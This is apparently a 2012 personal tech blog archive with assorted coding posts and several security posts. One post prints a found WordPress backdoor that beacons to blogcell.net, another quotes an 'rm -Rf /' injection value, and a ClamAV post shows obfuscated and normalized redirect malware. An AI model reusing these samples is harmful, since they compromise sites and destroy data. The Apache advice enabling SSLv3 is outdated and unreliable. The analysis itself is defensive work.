2012-12-24

Symbolism

So I've devised a way to pragmatically draw my sign in code using the GD library in PHP. Copyright Markizano.NET, LLC. All rights reserved.
As long as the dimensions are 2x3, the measurements should evolve appropriately. For example, if you start with an empty transparent 200x300, then it should look appropriate. Devised below:


<?php

header("X-Author: Markizano Draconus");
header("Content-Type: image/png");

# An empty canvas of an image. Just an empty, transparent PNG image.
define("IMG", "Altrish.png");
$png = imagecreatefrompng(IMG);
imagealphablending($png, false);
imagesavealpha($png, true);

$stat = new stdClass;
$leftHyp = new stdClass;
$rightHyp = new stdClass;
$halfPy = new stdClass;
$margin = 10;

# 200, 300
list($stat->canvasWidth, $stat->canvasHeight) = getimagesize(IMG);

$stat->width = $stat->canvasWidth - ($margin*2); # Image area width, adding padding from the edge.
$stat->height = $stat->canvasHeight - ($margin*2); # Image area height, adding padding from the edge.
$stat->bottom = $stat->canvasHeight - $margin; # 290
$stat->right = $stat->canvasWidth - $margin; # 190
$stat->lefty = ($stat->height * 0.6667) + $margin;
$stat->topx = ($stat->width * 0.5) + $margin; # 10

$bleu = imagecolorallocate($png, 0x06, 0x25, 0x58);

#imageline($resource, $x1, $y1, $x2, $y2, $color);
imageline($png, $stat->topx, $margin, $margin, $stat->lefty, $bleu); # Top to left.
imageline($png, $stat->topx, $margin, $stat->right, $stat->lefty, $bleu); # Top to right.
imageline($png, $stat->topx, $stat->bottom, $margin, $stat->lefty, $bleu); # Bottom to left.
imageline($png, $stat->topx, $stat->bottom, $stat->right, $stat->lefty, $bleu); # Bottom to right.

$leftHyp->x1 = ($stat->width * 0.25) + $margin;
$leftHyp->y = ($stat->height / 3) + $margin;
$leftHyp->x2 = ($stat->width * 0.5);

$rightHyp->x1 = ($stat->width * 0.75) + $margin;
$rightHyp->y = ($stat->height / 3) + $margin;
$rightHyp->x2 = ($stat->width * 0.5) + $margin + $margin;

$halfPy->lx1 = $leftHyp->x1 + ( ( $leftHyp->x2 - $leftHyp->x1 ) * 0.5 );
$halfPy->x2 = ( $stat->width * 0.5 ) + $margin;
$halfPy->rx1 = $rightHyp->x1 - ( ( $leftHyp->x2 - $leftHyp->x1 ) * 0.5 );

$halfPy->ltrapx = $stat->topx - ( $margin + ( $stat->width * 0.25 ) );
$halfPy->rtrapx = $stat->topx + ( $margin + ( $stat->width * 0.25 ) );
$halfPy->trapy = $stat->bottom - ( $margin + ( $stat->height / 6 ) );

imageline($png, $leftHyp->x1, $leftHyp->y, $leftHyp->x2, $leftHyp->y, $bleu); # Left Inner Pyramid base. Outer hypotenuse.
imageline($png, $rightHyp->x1, $rightHyp->y, $rightHyp->x2, $rightHyp->y, $bleu); # Right Inner Pyramid base. Outer hypotenuse.
imageline($png, $halfPy->lx1, $leftHyp->y, $stat->topx, $margin +20, $bleu); # Left Inner Pyramid.
imageline($png, $halfPy->rx1, $rightHyp->y, $stat->topx, $margin +20, $bleu); # Right inner pyramid.

imageline($png, $leftHyp->x2, $leftHyp->y, $stat->topx, $stat->bottom, $bleu); # Left resivoir coming down.
imageline($png, $rightHyp->x2, $rightHyp->y, $stat->topx, $stat->bottom, $bleu); # Right resivoir coming down.
imageline($png, $leftHyp->x2, $leftHyp->y, $halfPy->ltrapx, $halfPy->trapy, $bleu); # Left resivoir trap.
imageline($png, $rightHyp->x2, $rightHyp->y, $halfPy->rtrapx, $halfPy->trapy, $bleu); # Right resivoir trap.

imagepng($png);
imagedestroy($png);

2012-10-23

Perl Net::SSH2::SFTP Example

In my experiences, code has sometimes been better at explaining than documentation. Why did I do this? Because I didn't find it immediately when I searched for it...

Cheers!


Copy From PasteBin!
#!/usr/bin/perl

use strict;
use warnings;
use Data::Dumper;
use Net::SSH2;
use Net::SFTP;
use Carp;

use Fcntl;
use Fcntl ':DEFAULT';

use constant SSH_USER => 'root';
use constant SSH_PASS => 'toor';
use constant SSH_HOST => 'localhost';
use constant SSH_PORT => 21;

my ( $conn, $ssh, $sftp, $buf, $buffer, $len );

sub ssh_connect {
my ( $ssh, $user, $host, $pass, $port );
( $user, $pass, $host, $port ) = @_;

$host ||= 'localhost';
$port ||= 22;

$ssh = new Net::SSH2;
$ssh->debug(1);
$ssh->blocking(1);

return 0 unless $ssh->connect($host . ':' . $port);
print "[*] Connect OK!\n";
return 0 unless $ssh->auth( username => $user, password => $pass);
print "[*] Auth OK!\n";

return $ssh;
}

sub ssh_test_docroot {
my ( $result, $ssh, $docroot, $sftp, $remote, $hostname );
( $ssh, $docroot, $hostname ) = @_;

croak "ssh_test_docroot: Arg 1(\$ssh) must be an instance of Net::SSH2." if ( ref $ssh ne 'Net::SSH2' );

unless ( $sftp = $ssh->sftp() ) {
# Set some error here.
warn "[x] Could not extract Net::SSH2::SFTP object.\n";
$ssh->close();
return 0;
}

unless ( $remote = $sftp->open("$docroot/test.txt", O_CREAT, 0666) ) {
# Set some error code here.
warn "[x] Could not open remote file `$docroot/test.txt': " . join(":", $sftp->error) . "\n";
$ssh->close();
return 0;
}

unless ( $remote->write("Test Home Page") ) {
# Set some error code here.
warn "[x] Could not write contents.\n";
$ssh->close();
return 0;
}

print "[*] Wrote file. Garbage collect.\n";
$sftp->unlink("$docroot/test.txt");

return 1;
}

croak "[x] Unable to connect.\n" unless $ssh = ssh_connect( SSH_USER, SSH_PASS, SSH_HOST, SSH_PORT );
print "[*] Connected!\n";
print Dumper({ docroot => ssh_test_docroot( $ssh, '~/public_html' ) });
$ssh->close();

2012-10-15

Get Address of a Network Interface in C

So, here I am searching the internet over and over again to find out how to easily and quickly get the ip address of a local interface, and there isn't an easy way to do it without running `ifconfig | grep | cut...` in some crazy fashion.

So, here I've compiled a simple C script that will iterate through your interfaces and get the IP address of a local network interface if you supply it on the command line.

Feel free to redistribute under GNU.

https://github.com/markizano/scripts/blob/master/getifaddr/getifaddr.c

/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.


I am not the original author of this script. This was inspired by
the man page at getifaddrs(3).
*/

#include <arpa/inet.h>
#include <sys/socket.h>
#include <netdb.h>
#include <ifaddrs.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int Usage () {
printf("Usage: getifaddr [ifaddr] [inet|inet6]\nDefaults to eth0/inet.\n");
return 8;
}

int main(int argc, char *argv[]) {
struct ifaddrs *ifaddr, *ifa;
int family, s, inet;
char host[NI_MAXHOST], *iface;

iface = NULL; inet = AF_INET;
if ( argc >= 2 ) {
if ( !strcmp(argv[1], "-h") || !strcmp(argv[1], "--help") ) {
return Usage();
}
} else if ( argc <= 2 ) {
return Usage();
}

if ( argc >= 2 ) {
iface = strndup(argv[1], strlen(argv[1]));
}

if ( argc >= 3 ) {
if ( !strcmp(argv[2], "inet6") ) {
inet = AF_INET6;
}
}

if ( iface == NULL ) {
iface = malloc(4);
if ( iface == NULL ) return 4;
strncpy(iface, "eth0", 4);
}

if (getifaddrs(&ifaddr) == -1) {
perror("getifaddrs");
exit(EXIT_FAILURE);
}

memset(host, 0, sizeof host);

/* Walk through linked list, maintaining head pointer so we can free list later */

for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
if (ifa->ifa_addr == NULL) continue;
family = ifa->ifa_addr->sa_family;

if ( family == AF_PACKET ) continue;

/* Display interface name and family (including symbolic
form of the latter for the common families) */
if ( !strcmp(ifa->ifa_name, iface) ) {
if ( family == inet ) {
s = getnameinfo(ifa->ifa_addr, ( (family == AF_INET) ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6) ), host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
if (s != 0) {
fprintf(stderr, "getnameinfo() failed: %s\n", gai_strerror(s));
exit(EXIT_FAILURE);
}
}

printf( "%s\n", host );
freeifaddrs(ifaddr);
free(iface);
return 0;
}
}

fprintf(stderr, "Could not find devivce.\n");
freeifaddrs(ifaddr);
free(iface);
exit(EXIT_SUCCESS);
}

2012-08-06

Specific Exploits

Malicious crackers don't care who you are. They prey and feed on the fact that you think you're so meaningless that you'll never be targeted.

I came across this one exploit that was really interesting. Someone went to some great lengths to get this poor victim.

Code:
function wp_get_footer_meta() {
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))
$adwb_opt = unserialize($adwb_opt);
else {
$adwb_opt = array(
0,
''
);
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '" . serialize($adwb_opt) . "', 'no')");
}
if ((time() - $adwb_opt[0]) >= 3600) {
$adwb_host = 'blogcell.net';
$adwb_get = '/wpam/';
$adwb_soc = @fsockopen($adwb_host, 80, $_en, $_es, 30);
if ($adwb_soc) {
@stream_set_timeout($adwb_soc, 30);
@fwrite($adwb_soc, "GET $adwb_get" . '?h=' . urlencode($_SERVER['HTTP_HOST']) . '&u=' . urlencode($_SERVER['REQUEST_URI']) . " HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while (!feof($adwb_soc))
$adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data, "\r\n\r\n"));
}
@fclose($adwb_soc);
if (preg_match('/(.+?)<\/adbug>/s', $adwb_data, $adwb_tmp)) {
$adwb_opt = array(
time(),
$adwb_tmp[1]
);
$wpdb->query("UPDATE $wpdb->options SET option_value='" . mysql_escape_string(serialize($adwb_opt)) . "' WHERE option_name='adwb_opt'");
}
}
if (eregi("googlebot", $_SERVER['HTTP_USER_AGENT']))
echo $adwb_opt[1];
}

View the Full Source

This code basically makes a request to a remote server and posts the HTTP_HOST and the REQUEST_URI to the target. In case our script fails, it will timeout and the world goes back to rainbows and ponies after 30 seconds.
What really caught my eye?

markizano@localhost:~$dig @8.8.8.8 blogcell.net

; <<>> DiG 9.7.3 <<>> @8.8.8.8 blogcell.net
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52603
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;blogcell.net. IN A

;; ANSWER SECTION:
blogcell.net. 10962 IN A 192.168.0.1

;; Query time: 28 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Mon Aug 6 17:28:44 2012
;; MSG SIZE rcvd: 46


I did a host lookup on the domain and found that it pointed to an internal IP address. That's right - a public domain record points to an internal IP address. Crazy eh? Ok, maybe not really since anybody can do this. Still, this is a pretty targeted attack; not the typical skiddie stuff you see in everyday cracking.

I'd dox more details about the exploit, but this turns into an inside job. Can't do much on an external network.


-Cheerz

2012-07-24

Eval is Evil

Why?
Because Kizano said so...

Here are some examples I've seen in live code that just do not work (1-line each):

$success = eval('?>' . $_GET['a']);

eval("$my_obj->$key = $other_obj->$some_value");
I'm really surprised at some people. Do they not see the glaring a=<?php system("rm -Rf /"); in their URL ?

Just keep things easy on yourself and use this instead:

$success = (string)$_GET['a'];

$my_obj->$key = $other_obj->$some_value;
That way - you don't give me a heart attack when I see you vulnerable to the most basic PHP exploit... Remember, PHP is smart enough to do what you what, but the real question is are you l33t enough to write it?

Eval is Evil!
EOF

Wordpress Securepress Plugin Vulnerability

http://wordpress.org/extend/plugins/securepress-plugin/
While looking around in a Wordpress install, I found this little gem:
line 2218:
$back = isset($_POST['back']) ? $_POST['back'] : null;


Line 2349:
<input type="button" value="Cancel" 
onclick="eval(\'memos.\'+\''.addcslashes($back,"'").'\')" />

$back is never properly escaped for JS...
They should use json_encode instead.

I can inject arbitrary JavaScript into a post request for the "back" parameter and have it come out in your browser.
Tested on plugin version 8.4.01.

-0xKizano

2012-07-15

apt-get update; GPG Unverified Signature

So, you added a new thing to your /etc/apt/sources.list (or if you're smarter than most, you'll create your own user-based file in /etc/apt/sources.list.d/<new-source>.list, then you go to update Aptitude, and you get the following message:


root@localhost:~# apt-get update
...
W: GPG error: http://updates.repository.backtrack-linux.org revolution Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AB6DA34B475A6B7F

This is all fine and dandy - I can just goto the site and look for their key and install that, right? No? They don't just give me the key?! Then your packages will always be unverified and I'll be open to an exploit that allows the install of arbitrary third-party packages! Oh noes! D: Whatever shall we do?

Never fear - there's a way to get that key and turn it into something apt-get can use and stop complaining about that error. Checkout apt-get-key, which is a quick script that will fetch the GPG key from gpg.net and allow apt-key the chance to install it:


#!/bin/bash

if [ $UID != 0 ]; then
echo -e "\033[33mERROR\033[00m: This script can only be run by root!";
exit 1;
fi

function Usage(){
cat <<EOF
Usage: apt-get-key [key] [file]
key - The key to request from the gpg server.
file - Where to put the key after it's been requested and generated.
EOF
exit 8;
}

KEY=$1;
FILE=$2;

if [ -n "$( echo $1 | grep -P -- '--?h(elp)?' )" ] || [ -z $KEY ] || [ -z $FILE ]; then
Usage;
fi

if [ ! -d $(dirname $FILE) ]; then
echo -e "\033[31mERROR\033[00m: $(basename $0): Cannot stat \`$FILE' no such directory.";
exit 1;
fi

gpg --keyserver subkeys.pgp.net --recv $KEY && gpg --export --armor $KEY | tee $FILE;
apt-key add "$FILE";
echo -e "\033[32mDone.\033[00m";

As a semantic, I usually place my keys in /etc/apt/keys, but you can do whatever. Even store them in /tmp as it'll install the key as well. With this script, you can run it like so to fetch and install a key regarding the above error:


apt-get-key AB6DA34B475A6B7F /etc/apt/keys/backtrack.gpg

... and BAM! You now have installed the key apt-get was complaining about earlier. Have nice day :)

-0xKizano

2012-06-13

2012-04-23

ClamAV Signatures

Recently while working with ClamAV I encountered some cool features I wanted to share.

Signatures Too Long

In one instance, I found out that ClamAV cannot accept signatures greater than a certain length. While I'm not exactly sure what that length is, I'm sure you'll get a syntax error if the signature is too long.

In another instance, I found that ClamAV does alright with heuristics. It may be a custom hack, but the gist of the matter is: I can input the arguments to a (function(p,a,c,k,e,r)) and only the arguments to the function, and ClamAV will detect the use of the function and will include the function in the normalized result.

Example


('e r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];', 39, 39, '|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'), 0, {}));

The above is just the argument list placed in a (function(p,a,c,k,e,r)). Note this does not start with "var a = (function(p,a,c,k,e,r){//...", but rather the argument list that would go in that function instead. What I find nifty is the fact that ClamAV was able to create the normalized JavaScript snippet with the packer function (normalized).


eval(function(n000,n001,n002,n003,n004,n005){n004=function(n006){return(n006<n001?"":n004(parseint(n006/n001)))+((n006=n006%n001)>35?string.fromcharcode(n006+29):n006.tostring(36))};if(!"".replace(/^/,string)){while(n002--)n005[n004(n002)]=n003[n002]||n004(n002);n003=[function(n007){return n005[n007]}];n004=function(){return"\w+"};n002=1};while(n002--)if(n003[n002])n000=n000.replace(new regexp("\b"+n004(n002)+"\b","g"),n003[n002]);return n000}(var n008=document.referrer,n009="",n010;if(n008.indexof("google.")!=-1)n009="q";if(n008.indexof("msn.")!=-1)n009="q";if(n008.indexof("yahoo.")!=-1)n009="p";if(n008.indexof("altavista.")!=-1)n009="q";if(n008.indexof("aol.")!=-1)n009="query";if(n008.indexof("ask.")!=-1)n009="q";if(n009.length&&((n010=n008.indexof("?"+n009+"="))!=-1||(n010=n008.indexof("&"+n009+"="))!=-1))window.location="http://googosearch.biz/search.php?ty=1&terms="+n008.substring(n010+2+n009.length).split("&")[0];))

Good stuff!

2012-02-14

Sockets in C: Error 141?

So, I've been working with sockets in C recently and encountered an issue I didn't easily find a solution. Hopefully this blog can end up on the top of the results because it's the post that helps others out.

Premise

So, the idea here is I have a service running that accepts connections for data to process. I have it configured to open a socket, then for each user that connects, it will create a thread and pass the client to that thread as it opens the socket for another potential connection. The thread handles the processing of data that passes for that connection and then terminates. Now, what happens when a client prematurely disconnects from the thread before it's finished? It would appear your application just dies, no "segmentation fault", no output, it just dies. You may notice it has exit code 141.

Problem

Turns out what really was happening was the service was sending itself signal 13, or SIGPIPE. If either the service or the client attempts to send data and the pipe is b0rk, it will send SIGPIPE and error out. You can suppress this with a flag.
Code:

ssize_t send(int sockfd, const void *buf, size_t len, int flags);

Just use MSG_NOSIGNAL as the [flags] parameter. send(2) will still return -1 and errno will still be set, but this makes a request to the application to not throw SIGPIPE. Also note, this is just a request; if the application is too busy to ignore this request, it will and the application will still get a SIGPIPE on occasion, so be sure to handle it with signal(2).

2012-02-07

Do You Fix Computers?

I often times get this question when I tell people that I work with computers. What's even more humorous is the number one complaint I see with most people is that it's slow...
I usually proceed with the next question: how much RAM do you have on it? Which is usually followed by "wat?" With a blank stare, or they will proudly boast about how little they know about computers, as if it were an achievement.
I wince as I ask the question "could you look on the box for this info?", which is followed up with "wat box?"
At this point a faceplant is usually issued as I explain the concept of RAM and how to obtain this info.

Since I've encountered a mass number if these questions and followed this conversation to no end, I think I'm going to change it up to avoid these questions and can get away with the excuse: "but... The Internet is much different from your computer...".
My new answer will be: I make the Internet work ^.^

2012-01-25

PCI Compliant Apache2 SSL Configuration

In recent trials, I have encountered a need to update the configuration for Apache to conform to PCI compliance. More information on Apache's configuration with SSL can be found here. The configuration you can use to have PCI-compliant SSL for Apache is:

SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite HIGH:MEDIUM:+TLSv1:!SSLv2:+SSLv3:!ADH

Breakdown:
"HIGH:MEDIUM": This will enable Apache for the seven strongest algorithms used for encryption.
"+TLSv1": Enable TLS version 1 encryption. "!SSLv2": Disable the weaker SSL version 2 encryption. "+SSLv3": Enable the stronger SSL version 3 encryption. "!ADH": Disable the ADH versions of encryption, which are weaker algorithms.

2012-01-21

Malware Signature Generation - Mid Trial

In recent research, I've discovered a few things about malware signature generation (MSG) and the whole model that surrounds it. Most of this is just speculation, which would explain the lack of citations. However, I
would like to expand on what we have and create a smarter product.

As I understand it, MSG is based on just understanding exploits that have been created and basically blacklisting and whitelisting code that has already been written. The problem is there is an infinite number of ways a task can be completed, so having a complete and inclusive list (or even a list up to date with the most recent hacks) is nearly impossible. With the plethora of technologies involved in a single web page request, that probability of having a fully inclusive list of exploits is even more stark.

Last week, I had a theory that if one were to compile source code to bytecode or binary, then you could inspect the result of that to determine if similar plaintext code would have the same binary result once compiled. I toyed around with the idea by creating two javascript files with the same code, except a few lines were re-arranged. The function was still the same, but the order in which some actions took place was different. The binary result was different. I tried compiling it with exactly the same function, but the name of a variable was different. Just like before, the .class files were different. So using Rhino to compile JavaScript isn't proving to be a consistent method of identifying bytecode signatures.

I think a less kludge-like method of identifying malware would be to parse either the binary, bytecode or source code of the malicious scripts and heuristically identify what the code is trying to do. If the code is obfuscated over a few layers, makes requests for unwarranted remote resources, extends into other languages to fetch unwarranted remote resources, and/or attempts to download files to your computer without your consent or knowledge, then it would be classified as something at least suspicious and marked for later review. Then, once we find that logic signature again, we can disinfect it in some fashion or notify the end-user.

I will have to explore more about lexical parsers, how they work and what data I can see with them to understand if this theory holds. If this pans out, I'm sure other big companies like this are already implementing this, which is why I'm not fearful about putting this idea out into the wild.

2012-01-13

Malware Signature Generation

In recent work, I've encountered a task where we are identifying malware based on a signature that is a snippet of code that performs the malicious activity. These are usually JavaScript- or PHP-based exploits that disable any local protections and transfer whatever data or payload to or from the client for further exploitation. The question is how to identify these snippets of code so we can take action to have it removed. I think it would not be the most efficient way to copy/paste the code into a database and check to see if you ever find that snippet again because the variable names could be changed, lines of code could be shifted around or even a different character set in the files would pretty much invalidate the signature on the last one found just like it. One higher priority question to me is: Will compiling PHP and JavaScript to bytecode, and generating signatures for the binary results be a more effective way of identifying malware than identifying copy/pasted snippets with no heuristic determination? For example, if I were to compile JS to Java bytecode using Rhino, like they say it's possible, then would it be more effective for my scripts to analyze the compiled results and build signatures based on that instead.

I'm not sure how a compiler works on the inside and how my algebraic instructions end up as binary data, nor do I know what the binary data means as far as how instructions are interpreted by the OS, so I'm looking to open a discussion over this to those who know about these kinds of things.